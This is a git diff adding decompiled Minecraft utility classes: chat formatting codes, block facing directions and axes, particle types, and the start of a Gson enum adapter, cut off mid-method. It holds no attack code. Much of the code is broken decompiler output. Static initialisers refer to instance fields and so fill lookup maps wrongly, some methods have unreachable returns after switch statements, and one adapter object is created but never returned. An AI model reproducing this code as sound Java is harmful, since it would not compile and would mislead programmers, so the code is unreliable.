+  public IChatComponent getDeathMessage(EntityLivingBase p_151519_1_)
+  {
+    IChatComponent var2 = indirectEntity == null ? damageSourceEntity.getDisplayName() : indirectEntity.getDisplayName();
+    ItemStack var3 = (indirectEntity instanceof EntityLivingBase) ? ((EntityLivingBase)indirectEntity).getHeldItem() : null;
+    String var4 = "death.attack." + damageType;
+    String var5 = var4 + ".item";
+    return (var3 != null) && (var3.hasDisplayName()) && (StatCollector.canTranslate(var5)) ? new ChatComponentTranslation(var5, new Object[] { p_151519_1_.getDisplayName(), var2, var3.getChatComponent() }) : new ChatComponentTranslation(var4, new Object[] { p_151519_1_.getDisplayName(), var2 });
+  }
+}
diff --git a/src/minecraft/net/minecraft/util/EnumChatFormatting.java b/src/minecraft/net/minecraft/util/EnumChatFormatting.java
new file mode 100644
index 0000000..fc1f15b
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/EnumChatFormatting.java
@@ -0,0 +1,340 @@
+package net.minecraft.util;
+
+import com.google.common.collect.Lists;
+import com.google.common.collect.Maps;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.Map;
+import java.util.regex.Pattern;
+
+public enum EnumChatFormatting
+{
+  BLACK("BLACK", 0, "BLACK", '0', 0), 
+  DARK_BLUE("DARK_BLUE", 1, "DARK_BLUE", '1', 1), 
+  DARK_GREEN("DARK_GREEN", 2, "DARK_GREEN", '2', 2), 
+  DARK_AQUA("DARK_AQUA", 3, "DARK_AQUA", '3', 3), 
+  DARK_RED("DARK_RED", 4, "DARK_RED", '4', 4), 
+  DARK_PURPLE("DARK_PURPLE", 5, "DARK_PURPLE", '5', 5), 
+  GOLD("GOLD", 6, "GOLD", '6', 6), 
+  GRAY("GRAY", 7, "GRAY", '7', 7), 
+  DARK_GRAY("DARK_GRAY", 8, "DARK_GRAY", '8', 8), 
+  BLUE("BLUE", 9, "BLUE", '9', 9), 
+  GREEN("GREEN", 10, "GREEN", 'a', 10), 
+  AQUA("AQUA", 11, "AQUA", 'b', 11), 
+  RED("RED", 12, "RED", 'c', 12), 
+  LIGHT_PURPLE("LIGHT_PURPLE", 13, "LIGHT_PURPLE", 'd', 13), 
+  YELLOW("YELLOW", 14, "YELLOW", 'e', 14), 
+  WHITE("WHITE", 15, "WHITE", 'f', 15), 
+  OBFUSCATED("OBFUSCATED", 16, "OBFUSCATED", 'k', true), 
+  BOLD("BOLD", 17, "BOLD", 'l', true), 
+  STRIKETHROUGH("STRIKETHROUGH", 18, "STRIKETHROUGH", 'm', true), 
+  UNDERLINE("UNDERLINE", 19, "UNDERLINE", 'n', true), 
+  ITALIC("ITALIC", 20, "ITALIC", 'o', true), 
+  RESET("RESET", 21, "RESET", 'r', -1);
+  
+
+
+  private static final Map nameMapping;
+  
+
+  private static final Pattern formattingCodePattern;
+  
+
+  private final String field_175748_y;
+  
+
+  private final char formattingCode;
+  
+
+  private final boolean fancyStyling;
+  
+
+  private final String controlString;
+  
+  private final int field_175747_C;
+  
+  private static final EnumChatFormatting[] $VALUES;
+  
+  private static final String __OBFID = "CL_00000342";
+  
+
+  private static String func_175745_c(String p_175745_0_)
+  {
+    return p_175745_0_.toLowerCase().replaceAll("[^a-z]", "");
+  }
+  
+  private EnumChatFormatting(String p_i46291_1_, int p_i46291_2_, String p_i46291_3_, char p_i46291_4_, int p_i46291_5_)
+  {
+    this(p_i46291_1_, p_i46291_2_, p_i46291_3_, p_i46291_4_, false, p_i46291_5_);
+  }
+  
+  private EnumChatFormatting(String p_i46292_1_, int p_i46292_2_, String p_i46292_3_, char p_i46292_4_, boolean p_i46292_5_)
+  {
+    this(p_i46292_1_, p_i46292_2_, p_i46292_3_, p_i46292_4_, p_i46292_5_, -1);
+  }
+  
+  private EnumChatFormatting(String p_i46293_1_, int p_i46293_2_, String p_i46293_3_, char p_i46293_4_, boolean p_i46293_5_, int p_i46293_6_)
+  {
+    field_175748_y = p_i46293_3_;
+    formattingCode = p_i46293_4_;
+    fancyStyling = p_i46293_5_;
+    field_175747_C = p_i46293_6_;
+    controlString = ("§" + p_i46293_4_);
+  }
+  
+  public int func_175746_b()
+  {
+    return field_175747_C;
+  }
+  
+
+
+
+  public boolean isFancyStyling()
+  {
+    return fancyStyling;
+  }
+  
+
+
+
+  public boolean isColor()
+  {
+    return (!fancyStyling) && (this != RESET);
+  }
+  
+
+
+
+  public String getFriendlyName()
+  {
+    return name().toLowerCase();
+  }
+  
+  public String toString()
+  {
+    return controlString;
+  }
+  
+
+
+
+  public static String getTextWithoutFormattingCodes(String p_110646_0_)
+  {
+    return p_110646_0_ == null ? null : formattingCodePattern.matcher(p_110646_0_).replaceAll("");
+  }
+  
+
+
+
+  public static EnumChatFormatting getValueByName(String p_96300_0_)
+  {
+    return p_96300_0_ == null ? null : (EnumChatFormatting)nameMapping.get(func_175745_c(p_96300_0_));
+  }
+  
+  public static EnumChatFormatting func_175744_a(int p_175744_0_)
+  {
+    if (p_175744_0_ < 0)
+    {
+      return RESET;
+    }
+    
+
+    EnumChatFormatting[] var1 = values();
+    int var2 = var1.length;
+    
+    for (int var3 = 0; var3 < var2; var3++)
+    {
+      EnumChatFormatting var4 = var1[var3];
+      
+      if (var4.func_175746_b() == p_175744_0_)
+      {
+        return var4;
+      }
+    }
+    
+    return null;
+  }
+  
+
+
+
+
+
+  public static Collection getValidValues(boolean p_96296_0_, boolean p_96296_1_)
+  {
+    ArrayList var2 = Lists.newArrayList();
+    EnumChatFormatting[] var3 = values();
+    int var4 = var3.length;
+    
+    for (int var5 = 0; var5 < var4; var5++)
+    {
+      EnumChatFormatting var6 = var3[var5];
+      
+      if (((!var6.isColor()) || (p_96296_0_)) && ((!var6.isFancyStyling()) || (p_96296_1_)))
+      {
+        var2.add(var6.getFriendlyName());
+      }
+    }
+    
+    return var2;
+  }
+  
+  static
+  {
+    nameMapping = Maps.newHashMap();
+    
+
+
+
+
+    formattingCodePattern = Pattern.compile("(?i)" + String.valueOf('§') + "[0-9A-FK-OR]");
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    $VALUES = new EnumChatFormatting[] { BLACK, DARK_BLUE, DARK_GREEN, DARK_AQUA, DARK_RED, DARK_PURPLE, GOLD, GRAY, DARK_GRAY, BLUE, GREEN, AQUA, RED, LIGHT_PURPLE, YELLOW, WHITE, OBFUSCATED, BOLD, STRIKETHROUGH, UNDERLINE, ITALIC, RESET };
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    EnumChatFormatting[] var0 = values();
+    int var1 = var0.length;
+    
+    for (int var2 = 0; var2 < var1; var2++)
+    {
+      EnumChatFormatting var3 = var0[var2];
+      nameMapping.put(func_175745_c(field_175748_y), var3);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/util/EnumFacing.java b/src/minecraft/net/minecraft/util/EnumFacing.java
new file mode 100644
index 0000000..96c6819
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/EnumFacing.java
@@ -0,0 +1,965 @@
+package net.minecraft.util;
+
+import com.google.common.base.Predicate;
+import com.google.common.collect.Iterators;
+import com.google.common.collect.Maps;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Random;
+
+public enum EnumFacing implements IStringSerializable
+{
+  DOWN("DOWN", 0, 0, 1, -1, "down", AxisDirection.NEGATIVE, Axis.Y, new Vec3i(0, -1, 0)), 
+  UP("UP", 1, 1, 0, -1, "up", AxisDirection.POSITIVE, Axis.Y, new Vec3i(0, 1, 0)), 
+  NORTH("NORTH", 2, 2, 3, 2, "north", AxisDirection.NEGATIVE, Axis.Z, new Vec3i(0, 0, -1)), 
+  SOUTH("SOUTH", 3, 3, 2, 0, "south", AxisDirection.POSITIVE, Axis.Z, new Vec3i(0, 0, 1)), 
+  WEST("WEST", 4, 4, 5, 1, "west", AxisDirection.NEGATIVE, Axis.X, new Vec3i(-1, 0, 0)), 
+  EAST("EAST", 5, 5, 4, 3, "east", AxisDirection.POSITIVE, Axis.X, new Vec3i(1, 0, 0));
+  
+
+  private final int index;
+  
+  private final int opposite;
+  
+  private final int horizontalIndex;
+  
+  private final String name;
+  
+  private final Axis axis;
+  
+  private final AxisDirection axisDirection;
+  
+  private final Vec3i directionVec;
+  
+  public static final EnumFacing[] VALUES;
+  
+  private static final EnumFacing[] HORIZONTALS;
+  
+  private static final Map NAME_LOOKUP;
+  
+  private static final String __OBFID = "CL_00001201";
+  
+  private static final EnumFacing[] $VALUES;
+  
+  private EnumFacing(String p_i46016_1_, int p_i46016_2_, int indexIn, int oppositeIn, int horizontalIndexIn, String nameIn, AxisDirection axisDirectionIn, Axis axisIn, Vec3i directionVecIn)
+  {
+    index = indexIn;
+    horizontalIndex = horizontalIndexIn;
+    opposite = oppositeIn;
+    name = nameIn;
+    axis = axisIn;
+    axisDirection = axisDirectionIn;
+    directionVec = directionVecIn;
+  }
+  
+
+
+
+  public int getIndex()
+  {
+    return index;
+  }
+  
+
+
+
+  public int getHorizontalIndex()
+  {
+    return horizontalIndex;
+  }
+  
+
+
+
+  public AxisDirection getAxisDirection()
+  {
+    return axisDirection;
+  }
+  
+
+
+
+  public EnumFacing getOpposite()
+  {
+    return VALUES[opposite];
+  }
+  
+
+
+
+
+  public EnumFacing rotateAround(Axis axis)
+  {
+    switch (SwitchPlane.AXIS_LOOKUP[axis.ordinal()])
+    {
+    case 1: 
+      if ((this != WEST) && (this != EAST))
+      {
+        return rotateX();
+      }
+      
+      return this;
+    
+    case 2: 
+      if ((this != UP) && (this != DOWN))
+      {
+        return rotateY();
+      }
+      
+      return this;
+    
+    case 3: 
+      if ((this != NORTH) && (this != SOUTH))
+      {
+        return rotateZ();
+      }
+      
+      return this;
+    }
+    
+    throw new IllegalStateException("Unable to get CW facing for axis " + axis);
+  }
+  
+
+
+
+
+  public EnumFacing rotateY()
+  {
+    switch (SwitchPlane.FACING_LOOKUP[ordinal()])
+    {
+    case 1: 
+      return EAST;
+    
+    case 2: 
+      return SOUTH;
+    
+    case 3: 
+      return WEST;
+    
+    case 4: 
+      return NORTH;
+    }
+    
+    throw new IllegalStateException("Unable to get Y-rotated facing of " + this);
+  }
+  
+
+
+
+
+  private EnumFacing rotateX()
+  {
+    switch (SwitchPlane.FACING_LOOKUP[ordinal()])
+    {
+    case 1: 
+      return DOWN;
+    
+    case 2: 
+    case 4: 
+    default: 
+      throw new IllegalStateException("Unable to get X-rotated facing of " + this);
+    
+    case 3: 
+      return UP;
+    
+    case 5: 
+      return NORTH;
+    }
+    
+    return SOUTH;
+  }
+  
+
+
+
+
+  private EnumFacing rotateZ()
+  {
+    switch (SwitchPlane.FACING_LOOKUP[ordinal()])
+    {
+    case 2: 
+      return DOWN;
+    
+    case 3: 
+    default: 
+      throw new IllegalStateException("Unable to get Z-rotated facing of " + this);
+    
+    case 4: 
+      return UP;
+    
+    case 5: 
+      return EAST;
+    }
+    
+    return WEST;
+  }
+  
+
+
+
+
+  public EnumFacing rotateYCCW()
+  {
+    switch (SwitchPlane.FACING_LOOKUP[ordinal()])
+    {
+    case 1: 
+      return WEST;
+    
+    case 2: 
+      return NORTH;
+    
+    case 3: 
+      return EAST;
+    
+    case 4: 
+      return SOUTH;
+    }
+    
+    throw new IllegalStateException("Unable to get CCW facing of " + this);
+  }
+  
+
+
+
+
+  public int getFrontOffsetX()
+  {
+    return axis == Axis.X ? axisDirection.getOffset() : 0;
+  }
+  
+  public int getFrontOffsetY()
+  {
+    return axis == Axis.Y ? axisDirection.getOffset() : 0;
+  }
+  
+
+
+
+  public int getFrontOffsetZ()
+  {
+    return axis == Axis.Z ? axisDirection.getOffset() : 0;
+  }
+  
+
+
+
+  public String getName2()
+  {
+    return name;
+  }
+  
+  public Axis getAxis()
+  {
+    return axis;
+  }
+  
+
+
+
+  public static EnumFacing byName(String name)
+  {
+    return name == null ? null : (EnumFacing)NAME_LOOKUP.get(name.toLowerCase());
+  }
+  
+
+
+
+  public static EnumFacing getFront(int index)
+  {
+    return VALUES[MathHelper.abs_int(index % VALUES.length)];
+  }
+  
+
+
+
+  public static EnumFacing getHorizontal(int p_176731_0_)
+  {
+    return HORIZONTALS[MathHelper.abs_int(p_176731_0_ % HORIZONTALS.length)];
+  }
+  
+
+
+
+  public static EnumFacing fromAngle(double angle)
+  {
+    return getHorizontal(MathHelper.floor_double(angle / 90.0D + 0.5D) & 0x3);
+  }
+  
+
+
+
+  public static EnumFacing random(Random rand)
+  {
+    return values()[rand.nextInt(values().length)];
+  }
+  
+  public static EnumFacing func_176737_a(float p_176737_0_, float p_176737_1_, float p_176737_2_)
+  {
+    EnumFacing var3 = NORTH;
+    float var4 = Float.MIN_VALUE;
+    EnumFacing[] var5 = values();
+    int var6 = var5.length;
+    
+    for (int var7 = 0; var7 < var6; var7++)
+    {
+      EnumFacing var8 = var5[var7];
+      float var9 = p_176737_0_ * directionVec.getX() + p_176737_1_ * directionVec.getY() + p_176737_2_ * directionVec.getZ();
+      
+      if (var9 > var4)
+      {
+        var4 = var9;
+        var3 = var8;
+      }
+    }
+    
+    return var3;
+  }
+  
+  public String toString()
+  {
+    return name;
+  }
+  
+  public String getName()
+  {
+    return name;
+  }
+  
+
+
+
+  public Vec3i getDirectionVec()
+  {
+    return directionVec;
+  }
+  
+  static
+  {
+    VALUES = new EnumFacing[6];
+    
+
+    HORIZONTALS = new EnumFacing[4];
+    NAME_LOOKUP = Maps.newHashMap();
+    
+
+    $VALUES = new EnumFacing[] { DOWN, UP, NORTH, SOUTH, WEST, EAST };
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    EnumFacing[] var0 = values();
+    int var1 = var0.length;
+    
+    for (int var2 = 0; var2 < var1; var2++)
+    {
+      EnumFacing var3 = var0[var2];
+      VALUES[index] = var3;
+      
+      if (var3.getAxis().isHorizontal())
+      {
+        HORIZONTALS[horizontalIndex] = var3;
+      }
+      
+      NAME_LOOKUP.put(var3.getName2().toLowerCase(), var3);
+    }
+  }
+  
+  public static enum Axis implements Predicate, IStringSerializable {
+    X("X", 0, "X", 0, "x", EnumFacing.Plane.HORIZONTAL), 
+    Y("Y", 1, "Y", 1, "y", EnumFacing.Plane.VERTICAL), 
+    Z("Z", 2, "Z", 2, "z", EnumFacing.Plane.HORIZONTAL);
+    
+    private static final Map NAME_LOOKUP;
+    private final String name;
+    private final EnumFacing.Plane plane;
+    private static final Axis[] $VALUES;
+    private static final String __OBFID = "CL_00002321";
+    private static final Axis[] $VALUES$;
+    
+    private Axis(String p_i46390_1_, int p_i46390_2_, String p_i46015_1_, int p_i46015_2_, String name, EnumFacing.Plane plane)
+    {
+      this.name = name;
+      this.plane = plane;
+    }
+    
+    public static Axis byName(String name)
+    {
+      return name == null ? null : (Axis)NAME_LOOKUP.get(name.toLowerCase());
+    }
+    
+    public String getName2()
+    {
+      return name;
+    }
+    
+    public boolean isVertical()
+    {
+      return plane == EnumFacing.Plane.VERTICAL;
+    }
+    
+    public boolean isHorizontal()
+    {
+      return plane == EnumFacing.Plane.HORIZONTAL;
+    }
+    
+    public String toString()
+    {
+      return name;
+    }
+    
+    public boolean apply(EnumFacing facing)
+    {
+      return (facing != null) && (facing.getAxis() == this);
+    }
+    
+    public EnumFacing.Plane getPlane()
+    {
+      return plane;
+    }
+    
+    public String getName()
+    {
+      return name;
+    }
+    
+    public boolean apply(Object p_apply_1_)
+    {
+      return apply((EnumFacing)p_apply_1_);
+    }
+    
+    static
+    {
+      NAME_LOOKUP = Maps.newHashMap();
+      
+
+      $VALUES = new Axis[] { X, Y, Z };
+      
+
+      $VALUES$ = new Axis[] { X, Y, Z };
+      
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+      Axis[] var0 = values();
+      int var1 = var0.length;
+      
+      for (int var2 = 0; var2 < var1; var2++)
+      {
+        Axis var3 = var0[var2];
+        NAME_LOOKUP.put(var3.getName2().toLowerCase(), var3);
+      }
+    }
+  }
+  
+  public static enum AxisDirection {
+    POSITIVE("POSITIVE", 0, "POSITIVE", 0, 1, "Towards positive"), 
+    NEGATIVE("NEGATIVE", 1, "NEGATIVE", 1, -1, "Towards negative");
+    
+    private final int offset;
+    private final String description; private static final AxisDirection[] $VALUES = { POSITIVE, NEGATIVE };
+    
+    private static final String __OBFID = "CL_00002320";
+    
+    private AxisDirection(String p_i46391_1_, int p_i46391_2_, String p_i46014_1_, int p_i46014_2_, int offset, String description)
+    {
+      this.offset = offset;
+      this.description = description;
+    }
+    
+    public int getOffset()
+    {
+      return offset;
+    }
+    
+    public String toString()
+    {
+      return description;
+    }
+  }
+  
+  public static enum Plane implements Predicate, Iterable {
+    HORIZONTAL("HORIZONTAL", 0, "HORIZONTAL", 0), 
+    VERTICAL("VERTICAL", 1, "VERTICAL", 1);
+    private static final Plane[] $VALUES = { HORIZONTAL, VERTICAL };
+    
+    private static final String __OBFID = "CL_00002319";
+    
+
+    private Plane(String p_i46392_1_, int p_i46392_2_, String p_i46013_1_, int p_i46013_2_) {}
+    
+    public EnumFacing[] facings()
+    {
+      switch (EnumFacing.SwitchPlane.PLANE_LOOKUP[ordinal()])
+      {
+      case 1: 
+        return new EnumFacing[] { EnumFacing.NORTH, EnumFacing.EAST, EnumFacing.SOUTH, EnumFacing.WEST };
+      case 2: 
+        return new EnumFacing[] { EnumFacing.UP, EnumFacing.DOWN };
+      }
+      throw new Error("Someone's been tampering with the universe!");
+    }
+    
+
+    public EnumFacing random(Random rand)
+    {
+      EnumFacing[] var2 = facings();
+      return var2[rand.nextInt(var2.length)];
+    }
+    
+    public boolean apply(EnumFacing facing)
+    {
+      return (facing != null) && (facing.getAxis().getPlane() == this);
+    }
+    
+    public Iterator iterator()
+    {
+      return Iterators.forArray(facings());
+    }
+    
+    public boolean apply(Object p_apply_1_)
+    {
+      return apply((EnumFacing)p_apply_1_);
+    }
+  }
+  
+  static final class SwitchPlane {
+    static final int[] AXIS_LOOKUP;
+    static final int[] FACING_LOOKUP;
+    static final int[] PLANE_LOOKUP = new int[EnumFacing.Plane.values().length];
+    private static final String __OBFID = "CL_00002322";
+    
+    static {
+      try {
+        PLANE_LOOKUP[EnumFacing.Plane.HORIZONTAL.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+      try
+      {
+        PLANE_LOOKUP[EnumFacing.Plane.VERTICAL.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+      
+
+
+
+      FACING_LOOKUP = new int[EnumFacing.values().length];
+      try
+      {
+        FACING_LOOKUP[EnumFacing.NORTH.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError3) {}
+      
+
+
+      try
+      {
+        FACING_LOOKUP[EnumFacing.EAST.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError4) {}
+      
+
+
+      try
+      {
+        FACING_LOOKUP[EnumFacing.SOUTH.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError5) {}
+      
+
+
+      try
+      {
+        FACING_LOOKUP[EnumFacing.WEST.ordinal()] = 4;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError6) {}
+      
+
+
+      try
+      {
+        FACING_LOOKUP[EnumFacing.UP.ordinal()] = 5;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError7) {}
+      
+
+
+      try
+      {
+        FACING_LOOKUP[EnumFacing.DOWN.ordinal()] = 6;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError8) {}
+      
+
+
+
+      AXIS_LOOKUP = new int[EnumFacing.Axis.values().length];
+      try
+      {
+        AXIS_LOOKUP[EnumFacing.Axis.X.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError9) {}
+      
+
+
+      try
+      {
+        AXIS_LOOKUP[EnumFacing.Axis.Y.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError10) {}
+      
+
+
+      try
+      {
+        AXIS_LOOKUP[EnumFacing.Axis.Z.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError11) {}
+    }
+    
+    SwitchPlane() {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/util/EnumParticleTypes.java b/src/minecraft/net/minecraft/util/EnumParticleTypes.java
new file mode 100644
index 0000000..1707c1b
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/EnumParticleTypes.java
@@ -0,0 +1,184 @@
+package net.minecraft.util;
+
+import com.google.common.collect.Lists;
+import com.google.common.collect.Maps;
+import java.util.ArrayList;
+import java.util.Map;
+
+public enum EnumParticleTypes
+{
+  EXPLOSION_NORMAL("EXPLOSION_NORMAL", 0, "explode", 0, true), 
+  EXPLOSION_LARGE("EXPLOSION_LARGE", 1, "largeexplode", 1, true), 
+  EXPLOSION_HUGE("EXPLOSION_HUGE", 2, "hugeexplosion", 2, true), 
+  FIREWORKS_SPARK("FIREWORKS_SPARK", 3, "fireworksSpark", 3, false), 
+  WATER_BUBBLE("WATER_BUBBLE", 4, "bubble", 4, false), 
+  WATER_SPLASH("WATER_SPLASH", 5, "splash", 5, false), 
+  WATER_WAKE("WATER_WAKE", 6, "wake", 6, false), 
+  SUSPENDED("SUSPENDED", 7, "suspended", 7, false), 
+  SUSPENDED_DEPTH("SUSPENDED_DEPTH", 8, "depthsuspend", 8, false), 
+  CRIT("CRIT", 9, "crit", 9, false), 
+  CRIT_MAGIC("CRIT_MAGIC", 10, "magicCrit", 10, false), 
+  SMOKE_NORMAL("SMOKE_NORMAL", 11, "smoke", 11, false), 
+  SMOKE_LARGE("SMOKE_LARGE", 12, "largesmoke", 12, false), 
+  SPELL("SPELL", 13, "spell", 13, false), 
+  SPELL_INSTANT("SPELL_INSTANT", 14, "instantSpell", 14, false), 
+  SPELL_MOB("SPELL_MOB", 15, "mobSpell", 15, false), 
+  SPELL_MOB_AMBIENT("SPELL_MOB_AMBIENT", 16, "mobSpellAmbient", 16, false), 
+  SPELL_WITCH("SPELL_WITCH", 17, "witchMagic", 17, false), 
+  DRIP_WATER("DRIP_WATER", 18, "dripWater", 18, false), 
+  DRIP_LAVA("DRIP_LAVA", 19, "dripLava", 19, false), 
+  VILLAGER_ANGRY("VILLAGER_ANGRY", 20, "angryVillager", 20, false), 
+  VILLAGER_HAPPY("VILLAGER_HAPPY", 21, "happyVillager", 21, false), 
+  TOWN_AURA("TOWN_AURA", 22, "townaura", 22, false), 
+  NOTE("NOTE", 23, "note", 23, false), 
+  PORTAL("PORTAL", 24, "portal", 24, false), 
+  ENCHANTMENT_TABLE("ENCHANTMENT_TABLE", 25, "enchantmenttable", 25, false), 
+  FLAME("FLAME", 26, "flame", 26, false), 
+  LAVA("LAVA", 27, "lava", 27, false), 
+  FOOTSTEP("FOOTSTEP", 28, "footstep", 28, false), 
+  CLOUD("CLOUD", 29, "cloud", 29, false), 
+  REDSTONE("REDSTONE", 30, "reddust", 30, false), 
+  SNOWBALL("SNOWBALL", 31, "snowballpoof", 31, false), 
+  SNOW_SHOVEL("SNOW_SHOVEL", 32, "snowshovel", 32, false), 
+  SLIME("SLIME", 33, "slime", 33, false), 
+  HEART("HEART", 34, "heart", 34, false), 
+  BARRIER("BARRIER", 35, "barrier", 35, false), 
+  ITEM_CRACK("ITEM_CRACK", 36, "iconcrack_", 36, false, 2), 
+  BLOCK_CRACK("BLOCK_CRACK", 37, "blockcrack_", 37, false, 1), 
+  BLOCK_DUST("BLOCK_DUST", 38, "blockdust_", 38, false, 1), 
+  WATER_DROP("WATER_DROP", 39, "droplet", 39, false), 
+  ITEM_TAKE("ITEM_TAKE", 40, "take", 40, false), 
+  MOB_APPEARANCE("MOB_APPEARANCE", 41, "mobappearance", 41, true);
+  
+  private final String field_179369_Q;
+  private final int field_179372_R;
+  private final boolean field_179371_S;
+  private final int field_179366_T;
+  private static final Map field_179365_U;
+  private static final String[] field_179368_V;
+  private static final EnumParticleTypes[] $VALUES;
+  private static final String __OBFID = "CL_00002317";
+  
+  private EnumParticleTypes(String p_i46011_1_, int p_i46011_2_, String p_i46011_3_, int p_i46011_4_, boolean p_i46011_5_, int p_i46011_6_)
+  {
+    field_179369_Q = p_i46011_3_;
+    field_179372_R = p_i46011_4_;
+    field_179371_S = p_i46011_5_;
+    field_179366_T = p_i46011_6_;
+  }
+  
+  private EnumParticleTypes(String p_i46012_1_, int p_i46012_2_, String p_i46012_3_, int p_i46012_4_, boolean p_i46012_5_)
+  {
+    this(p_i46012_1_, p_i46012_2_, p_i46012_3_, p_i46012_4_, p_i46012_5_, 0);
+  }
+  
+  public static String[] func_179349_a()
+  {
+    return field_179368_V;
+  }
+  
+  public String func_179346_b()
+  {
+    return field_179369_Q;
+  }
+  
+  public int func_179348_c()
+  {
+    return field_179372_R;
+  }
+  
+  public int func_179345_d()
+  {
+    return field_179366_T;
+  }
+  
+  public boolean func_179344_e()
+  {
+    return field_179371_S;
+  }
+  
+  public boolean func_179343_f()
+  {
+    return field_179366_T > 0;
+  }
+  
+  public static EnumParticleTypes func_179342_a(int p_179342_0_)
+  {
+    return (EnumParticleTypes)field_179365_U.get(Integer.valueOf(p_179342_0_));
+  }
+  
+  static
+  {
+    field_179365_U = Maps.newHashMap();
+    
+
+    $VALUES = new EnumParticleTypes[] { EXPLOSION_NORMAL, EXPLOSION_LARGE, EXPLOSION_HUGE, FIREWORKS_SPARK, WATER_BUBBLE, WATER_SPLASH, WATER_WAKE, SUSPENDED, SUSPENDED_DEPTH, CRIT, CRIT_MAGIC, SMOKE_NORMAL, SMOKE_LARGE, SPELL, SPELL_INSTANT, SPELL_MOB, SPELL_MOB_AMBIENT, SPELL_WITCH, DRIP_WATER, DRIP_LAVA, VILLAGER_ANGRY, VILLAGER_HAPPY, TOWN_AURA, NOTE, PORTAL, ENCHANTMENT_TABLE, FLAME, LAVA, FOOTSTEP, CLOUD, REDSTONE, SNOWBALL, SNOW_SHOVEL, SLIME, HEART, BARRIER, ITEM_CRACK, BLOCK_CRACK, BLOCK_DUST, WATER_DROP, ITEM_TAKE, MOB_APPEARANCE };
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    ArrayList var0 = Lists.newArrayList();
+    EnumParticleTypes[] var1 = values();
+    int var2 = var1.length;
+    
+    for (int var3 = 0; var3 < var2; var3++)
+    {
+      EnumParticleTypes var4 = var1[var3];
+      field_179365_U.put(Integer.valueOf(var4.func_179348_c()), var4);
+      
+      if (!var4.func_179346_b().endsWith("_"))
+      {
+        var0.add(var4.func_179346_b());
+      }
+    }
+    
+    field_179368_V = (String[])var0.toArray(new String[var0.size()]);
+  }
+}
diff --git a/src/minecraft/net/minecraft/util/EnumTypeAdapterFactory.java b/src/minecraft/net/minecraft/util/EnumTypeAdapterFactory.java
new file mode 100644
index 0000000..87e5dcf
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/EnumTypeAdapterFactory.java
@@ -0,0 +1,73 @@
+package net.minecraft.util;
+
+import com.google.common.collect.Maps;
+import com.google.gson.Gson;
+import com.google.gson.TypeAdapter;
+import com.google.gson.reflect.TypeToken;
+import com.google.gson.stream.JsonReader;
+import com.google.gson.stream.JsonWriter;
+import java.io.IOException;
+import java.util.HashMap;
+import java.util.Locale;
+
+public class EnumTypeAdapterFactory implements com.google.gson.TypeAdapterFactory
+{
+  private static final String __OBFID = "CL_00001494";
+  
+  public EnumTypeAdapterFactory() {}
+  
+  public TypeAdapter create(Gson p_create_1_, TypeToken p_create_2_)
+  {
+    Class var3 = p_create_2_.getRawType();
+    
+    if (!var3.isEnum())
+    {
+      return null;
+    }
+    
+
+    final HashMap var4 = Maps.newHashMap();
+    Object[] var5 = var3.getEnumConstants();
+    int var6 = var5.length;
+    
+    for (int var7 = 0; var7 < var6; var7++)
+    {
+      Object var8 = var5[var7];
+      var4.put(func_151232_a(var8), var8);
+    }
+    
+    new TypeAdapter()
+    {
+      private static final String __OBFID = "CL_00001495";
+      
+      public void write(JsonWriter p_write_1_, Object p_write_2_) throws IOException {
+        if (p_write_2_ == null)
+        {
